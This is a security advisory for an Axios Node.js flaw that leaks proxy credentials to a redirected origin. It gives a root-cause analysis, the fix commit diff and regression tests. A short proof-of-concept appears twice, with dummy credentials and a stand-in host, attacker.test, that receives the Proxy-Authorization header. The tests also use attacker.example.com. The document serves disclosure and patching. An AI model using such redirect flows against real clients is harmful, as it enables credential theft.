Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter
Description
Summary
Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.
This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.
Impact
A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.
The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.
The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.
Affected
Functionality
Affected functionality requires all of the following:
- Axios running in Node.js with the HTTP adapter.
- An initial
http://request using an authenticated proxy fromconfig.proxyor proxy environment variables. - Redirect following enabled.
- A redirect target for which no proxy applies, such as no matching
HTTPS_PROXYor a matchingNO_PROXY. - A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.
Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.
Technical
Details
In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.
Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.
The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.
The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.
Proof of
Concept of Attack
Safe local outline using dummy credentials:
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
Expected vulnerable behaviour:
Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz
Expected fixed behaviour:
Final HTTPS origin receives no Proxy-Authorization header.
Workarounds
Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.
Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
Original Source
Summary
Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.
When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.
Details
The issue occurs during a proxy-to-direct transition across redirects.
When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.
In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.
Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.
Root
Cause Analysis
Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.
In lib/adapters/http.js: - When a proxy is used, Axios adds Proxy-Authorization in setProxy(). - Axios also re-runs proxy resolution after redirects via its redirect hook. - However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.
As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.
A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.
Client
Conditions - the initial HTTP request uses an authenticated HTTP_PROXY - no proxy applies to the redirected HTTPS URL (for example, no HTTPS_PROXY is configured) - redirects are followed - the redirect is treated as same-host by the redirect layer
Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.
Reproduction
Outline
Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.
The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.
The issue was confirmed under the following conditions:
- axios 1.13.6
- follow-redirects 1.15.11
- an authenticated proxy applying to the initial HTTP request
- no proxy applying to the redirected HTTPS URL
- redirects enabled
- an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer
Observed behavior
- The initial HTTP request is sent through the proxy and includes
Proxy-Authorization. - The redirected HTTPS request is sent directly to the final origin.
- The redirected HTTPS request still includes the previously generated
Proxy-Authorizationheader. - The final origin can receive a
Proxy-Authorizationheader value that was intended only for the proxy.
Expected behavior
Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.
Impact
Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.
If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.
---
Affected products
2Patches
1afca61a07072fix: clear stale header on redirect when target is no-proxy (#10794)
2 files changed · +235 −15
lib/adapters/http.js+13 −2 modified@@ -194,7 +194,7 @@ function dispatchBeforeRedirect(options, responseDetails) { * * @returns {http.ClientRequestArgs} */ -function setProxy(options, configProxy, location) { +function setProxy(options, configProxy, location, isRedirect) { let proxy = configProxy; if (!proxy && proxy !== false) { const proxyUrl = getProxyForUrl(location); @@ -204,6 +204,17 @@ function setProxy(options, configProxy, location) { } } } + // On redirect re-invocation, strip any stale Proxy-Authorization header carried + // over from the prior request (e.g. new target no longer uses a proxy, or uses + // a different proxy). Skip on the initial request so user-supplied headers are + // preserved. Header names are case-insensitive, so remove every case variant. + if (isRedirect && options.headers) { + for (const name of Object.keys(options.headers)) { + if (name.toLowerCase() === 'proxy-authorization') { + delete options.headers[name]; + } + } + } if (proxy) { // Basic proxy authorization if (proxy.username) { @@ -240,7 +251,7 @@ function setProxy(options, configProxy, location) { options.beforeRedirects.proxy = function beforeRedirect(redirectOptions) { // Configure proxy for redirected request, passing the original config proxy to apply // the exact same logic as if the redirected request was performed by axios directly. - setProxy(redirectOptions, configProxy, redirectOptions.href); + setProxy(redirectOptions, configProxy, redirectOptions.href, true); }; }
tests/unit/adapters/http.test.js+222 −13 modified@@ -2307,6 +2307,192 @@ describe('supports http with nodejs', () => { } }); + describe('Proxy-Authorization header leak on redirect (GHSA-j5f8-grm9-p9fc)', () => { + it('clears a stale Proxy-Authorization header when redirected request resolves to no proxy (configProxy=false)', () => { + const options = { + headers: {}, + beforeRedirects: {}, + hostname: 'initial.example.com', + host: 'initial.example.com', + port: 80, + }; + + __setProxy(options, { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, 'http://initial.example.com/start'); + assert.strictEqual( + options.headers['Proxy-Authorization'], + 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), + 'initial request should carry Proxy-Authorization' + ); + + // Simulate redirect re-invocation where the redirected request is resolved to no proxy. + // This mirrors the beforeRedirects.proxy hook being called with configProxy=false. + const redirectOptions = { + headers: { ...options.headers }, + beforeRedirects: {}, + hostname: 'attacker.example.com', + host: 'attacker.example.com', + port: 443, + }; + __setProxy(redirectOptions, false, 'https://attacker.example.com/final', true); + + assert.strictEqual( + redirectOptions.headers['Proxy-Authorization'], + undefined, + 'stale Proxy-Authorization must be stripped when redirected request no longer uses a proxy' + ); + }); + + it('clears a stale Proxy-Authorization header when environment-derived proxy is bypassed on redirect (NO_PROXY)', () => { + const originalHttpProxy = process.env.http_proxy; + const originalHttpsProxy = process.env.https_proxy; + const originalNoProxy = process.env.no_proxy; + + process.env.http_proxy = 'http://user:pass@127.0.0.1:8030'; + process.env.https_proxy = 'http://user:pass@127.0.0.1:8030'; + process.env.no_proxy = 'attacker.example.com'; + + try { + const options = { + headers: {}, + beforeRedirects: {}, + hostname: 'initial.example.com', + host: 'initial.example.com', + port: 80, + }; + + __setProxy(options, undefined, 'http://initial.example.com/start'); + assert.strictEqual( + options.headers['Proxy-Authorization'], + 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), + 'initial request should pick up proxy credentials from env' + ); + + const redirectOptions = { + headers: { ...options.headers }, + beforeRedirects: {}, + hostname: 'attacker.example.com', + host: 'attacker.example.com', + port: 443, + protocol: 'https:', + }; + __setProxy(redirectOptions, undefined, 'https://attacker.example.com/final', true); + + assert.strictEqual( + redirectOptions.headers['Proxy-Authorization'], + undefined, + 'stale Proxy-Authorization must be stripped when redirect target is covered by NO_PROXY' + ); + } finally { + if (originalHttpProxy === undefined) delete process.env.http_proxy; else process.env.http_proxy = originalHttpProxy; + if (originalHttpsProxy === undefined) delete process.env.https_proxy; else process.env.https_proxy = originalHttpsProxy; + if (originalNoProxy === undefined) delete process.env.no_proxy; else process.env.no_proxy = originalNoProxy; + } + }); + + it('replaces Proxy-Authorization when redirect target resolves to a different proxy without credentials', () => { + const options = { + headers: {}, + beforeRedirects: {}, + hostname: 'initial.example.com', + host: 'initial.example.com', + port: 80, + }; + + __setProxy(options, { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, 'http://initial.example.com/start'); + assert.ok(options.headers['Proxy-Authorization'], 'precondition: initial proxy auth header set'); + + const redirectOptions = { + headers: { ...options.headers }, + beforeRedirects: {}, + hostname: 'second.example.com', + host: 'second.example.com', + port: 80, + }; + __setProxy(redirectOptions, { host: '127.0.0.2', port: 8031 }, 'http://second.example.com/final', true); + + assert.strictEqual( + redirectOptions.headers['Proxy-Authorization'], + undefined, + 'stale credentials from previous proxy must not leak to a new proxy without credentials' + ); + }); + + it('strips stale Proxy-Authorization when the beforeRedirects.proxy hook is invoked with configProxy=false', () => { + const options = { + headers: { 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64') }, + beforeRedirects: {}, + hostname: 'initial.example.com', + host: 'initial.example.com', + port: 80, + }; + + __setProxy(options, false, 'http://initial.example.com/start'); + assert.strictEqual(typeof options.beforeRedirects.proxy, 'function', 'initial setProxy must install redirect hook'); + + const redirectOptions = { + headers: { 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64') }, + beforeRedirects: {}, + hostname: 'attacker.example.com', + host: 'attacker.example.com', + port: 443, + href: 'https://attacker.example.com/final', + }; + + options.beforeRedirects.proxy(redirectOptions); + + assert.strictEqual( + redirectOptions.headers['Proxy-Authorization'], + undefined, + 'beforeRedirects.proxy hook must strip stale Proxy-Authorization when redirect target has no proxy' + ); + }); + + it('preserves a user-supplied Proxy-Authorization header on the initial request when no proxy is configured', () => { + const userValue = 'Basic ' + Buffer.from('alice:secret', 'utf8').toString('base64'); + const options = { + headers: { 'Proxy-Authorization': userValue }, + beforeRedirects: {}, + hostname: 'example.com', + host: 'example.com', + port: 80, + }; + + __setProxy(options, false, 'http://example.com/start'); + + assert.strictEqual( + options.headers['Proxy-Authorization'], + userValue, + 'user-supplied Proxy-Authorization must not be stripped on the initial request' + ); + }); + + it('strips stale Proxy-Authorization regardless of header key casing', () => { + const staleValue = 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'); + const casings = ['proxy-authorization', 'PROXY-AUTHORIZATION', 'Proxy-authorization', 'pRoXy-AuThOrIzAtIoN']; + + for (const casing of casings) { + const redirectOptions = { + headers: { [casing]: staleValue }, + beforeRedirects: {}, + hostname: 'attacker.example.com', + host: 'attacker.example.com', + port: 443, + }; + + __setProxy(redirectOptions, false, 'https://attacker.example.com/final', true); + + const leaked = Object.keys(redirectOptions.headers).filter( + (name) => name.toLowerCase() === 'proxy-authorization' + ); + assert.deepStrictEqual( + leaked, + [], + `stale Proxy-Authorization with key "${casing}" must be stripped regardless of casing` + ); + } + }); + }); + it('should support cancel', async () => { const source = axios.CancelToken.source(); @@ -2675,30 +2861,53 @@ describe('supports http with nodejs', () => { } it('should not merge prototype-polluted getHeaders into outgoing request', async () => { - let receivedHeaders; - const server = await startHTTPServer( - (req, res) => { - receivedHeaders = req.headers; - res.end('{}'); + // Use a stub transport rather than a real HTTP server: polluting + // Object.prototype in-process can destabilise Node's HTTP server + // internals and cause spurious ECONNRESET. The stub captures the final + // outgoing headers axios constructs, which is what this test asserts on. + let capturedHeaders; + const stubTransport = { + request(options, handleResponse) { + capturedHeaders = { ...options.headers }; + const req = new EventEmitter(); + req.write = () => true; + req.setTimeout = () => {}; + req.destroy = () => {}; + req.end = () => { + const res = new stream.Readable({ read() {} }); + res.statusCode = 200; + res.statusMessage = 'OK'; + res.headers = {}; + res.rawHeaders = []; + res.req = req; + process.nextTick(() => { + handleResponse(res); + res.push(null); + }); + }; + return req; }, - { port: SERVER_PORT } - ); + }; try { pollute(); await axios.post( - `http://localhost:${server.address().port}/`, + 'http://stub.invalid/', { userId: 42 }, - { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } } + { + headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' }, + transport: stubTransport, + maxRedirects: 0, + } ); } finally { cleanup(); - await stopHTTPServer(server); } - assert.ok(receivedHeaders, 'request did not reach server'); - assert.strictEqual(receivedHeaders['x-injected'], undefined); - assert.notStrictEqual(receivedHeaders['authorization'], 'Bearer ATTACKER_TOKEN'); + assert.ok(capturedHeaders, 'transport was not invoked'); + assert.strictEqual(capturedHeaders['x-injected'], undefined); + assert.notStrictEqual(capturedHeaders['Authorization'], 'Bearer ATTACKER_TOKEN'); + assert.notStrictEqual(capturedHeaders['authorization'], 'Bearer ATTACKER_TOKEN'); }); }); });
Vulnerability mechanics
Root cause
"Axios did not clear the Proxy-Authorization header when a redirected request no longer required a proxy."
Attack vector
An attacker can exploit this vulnerability by controlling the origin server that a client redirects to. The client must be using Axios in Node.js with an authenticated HTTP proxy for an initial HTTP request, and the redirect must lead to a URL where no proxy is configured (e.g., due to `NO_PROXY` or no `HTTPS_PROXY` environment variable). If the redirect layer does not strip the `Proxy-Authorization` header, the origin server will receive the proxy credentials intended only for the proxy [ref_id=1].
Affected code
The vulnerability resides in the Node.js HTTP adapter, specifically within the `lib/adapters/http.js` file. The `setProxy()` function is responsible for adding the `Proxy-Authorization` header when a proxy with credentials is used. The issue arises because this header is not cleared during the redirect handling process when the subsequent request no longer requires proxying [ref_id=1].
What the fix does
The fix modifies the `setProxy` function to explicitly remove all variants of the `Proxy-Authorization` header when handling redirects, before re-applying proxy settings for the next hop [ref_id=1]. For older versions, a `removeProxyAuthorization()` guard was introduced. This ensures that stale proxy credentials are not forwarded to the origin server when a redirected request transitions from being proxied to being direct [ref_id=1].
Preconditions
- configAxios running in Node.js with the HTTP adapter.
- configAn initial HTTP request using an authenticated proxy (via `config.proxy` or environment variables).
- configRedirect following must be enabled.
- configThe redirect target must be a URL for which no proxy applies (e.g., no matching `HTTPS_PROXY` or a matching `NO_PROXY`).
- configThe redirect shape must be treated as same-host or otherwise not stripped by the redirect layer's confidential-header handling.
Reproduction
```javascript process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns: // HTTP/1.1 302 Found // Location: https://attacker.test/final await axios.get('http://attacker.test/start'); ```
**Vulnerable Behavior:** ```text Proxy receives initial request: Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request: Proxy-Authorization: Basic dXNlcjpwYXNz ```
**Fixed Behavior:** ```text Final HTTPS origin receives no Proxy-Authorization header. ```
Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4News mentions
1- Axios: Four High-Severity Vulnerabilities Disclosed Together on June 4thVypr Intelligence · Jun 4, 2026